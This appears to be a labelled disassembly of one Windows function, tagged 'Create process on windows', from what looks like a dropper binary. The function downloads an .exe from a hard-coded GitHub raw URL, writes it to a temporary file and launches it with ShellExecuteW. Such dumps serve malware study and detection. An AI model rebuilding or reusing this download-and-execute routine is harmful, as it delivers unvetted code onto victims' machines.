Function at 0x140001f40
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xorps xmm0, xmm0
lea rdx, str.https:__github.com_penivai3_Baff_raw_main_123213.exe
xorps xmm1, xmm1
lea rcx, [rbp - 0x58]
mov r8d, 0x34
movups xmmword [rbp - 0x58], xmm0
movdqu xmmword [rbp - 0x48], xmm1
call fcn.140003c80
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x70]
call fcn.140001290
mov edx, 0x104
lea rcx, [rbp + 0xe0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_tmpnam_s]
xor r14d, r14d
test eax, eax
je 0x140001fed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error:_Unable_to_generate_temporary_file_name
call fcn.140003960
mov rcx, rax
lea rdx, [0x140003b30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ebx, [r14 + 1]
jmp 0x140002395
xorps xmm0, xmm0
mov qword [rsp + 0x60], r14
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], r14
lea rax, [rbp + 0xe0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140002010
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x50]
call fcn.140003c80
cmp qword [rbp - 0x78], 0xf
lea r9, [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
cmova r9, qword [rsp + 0x70]
mov rax, rdx
mov rcx, qword [rsp + 0x60]
mov rdi, qword [rbp - 0x80]
sub rax, rcx
cmp rdi, rax
ja 0x140002082
cmp rdx, 0xf
lea rax, [rdi + rcx]
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x60], rax
cmova rbx, qword [rsp + 0x50]
mov r8, rdi
add rbx, rcx
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], r14b
jmp 0x140002094
mov rdx, rdi
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x50]
call fcn.140003ee0
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
cmp qword [rsp + 0x68], 0xf
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x30]
cmova rdx, qword [rsp + 0x50]
call fcn.1400035d0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x34], edx
cmp qword [rbp + 0x58], r14
je 0x140002317
mov r8, qword [rbp - 0x68]
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp - 0x70]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x28]
call fcn.140003510
test rax, rax
jne 0x14000212e
mov rax, qword [rbp - 0x30]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp - 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp qword [rsp + 0x68], 0xf
lea rdx, [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
lea rdi, [rsp + 0x50]
cmova rdx, qword [rsp + 0x50]
xorps xmm0, xmm0
add rsi, rdx
mov qword [rsp + 0x40], r14
cmp qword [rsp + 0x68], 0xf
mov ebx, 7
movups xmmword [rsp + 0x30], xmm0
cmova rdi, qword [rsp + 0x50]
mov qword [rsp + 0x48], rbx
cmp rdi, rsi
jne 0x14000217f
mov word [rsp + 0x30], r14w
jmp 0x140002293
sub rsi, rdi
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x140002496
cmp rsi, rbx
jbe 0x14000224a
mov rbx, rsi
or rbx, 7
cmp rbx, rax
jbe 0x1400021bd
mov rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1400021ec
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x140002490
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002225
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002490
mov rcx, rax
call fcn.140004378
mov rcx, rax
test rax, rax
je 0x1400022fd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], rbx
jmp 0x14000224f
test rcx, rcx
je 0x14000223b
call fcn.140004378
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], rbx
jmp 0x14000224f
mov rax, r14
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x30], rax
jmp 0x14000224f
mov rax, qword [rsp + 0x30]
cmp rbx, 7
lea r8, [rsp + 0x30]
mov rdx, rsi
cmova r8, rax
mov rcx, r8
test rsi, rsi
je 0x140002284
nop word [rax + rax]
movsx eax, byte [rdi]
lea rdi, [rdi + 1]
mov word [rcx], ax
lea rcx, [rcx + 2]
sub rdx, 1
jne 0x140002270
mov qword [rsp + 0x40], rsi
mov word [r8 + rsi*2], r14w
mov rbx, qword [rsp + 0x48]
cmp rbx, 7
mov dword [rsp + 0x28], 1
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], r14
cmova r8, qword [rsp + 0x30]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rsp + 0x48]
mov rbx, rax
cmp rdx, 7
jbe 0x140002309
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002304
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002304
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004370
test rbx, rbx
jne 0x14000233a
lea rdx, str.Error:_Failed_to_open_file
jmp 0x14000231e
lea rdx, str.Error:_Unable_to_open_file_for_writing
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003960
lea rdx, [0x140003b30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x30]
mov ebx, r14d
call fcn.1400024a0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002383
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000237e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002456
call fcn.140004370
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], bl
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x1400023db
mov rdx, qword [rbp - 0x60]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400023ca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002456
call fcn.140004370
xorps xmm0, xmm0
mov qword [rbp - 0x60], r14
movdqu xmmword [rbp - 0x70], xmm0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002413
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000240e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002456
call fcn.140004370
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r14b
cmp rdx, 0xf
jbe 0x140002462
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000245d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000245d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004370
mov eax, ebx
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140004350
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140001110
int3
call fcn.1400011b0
int3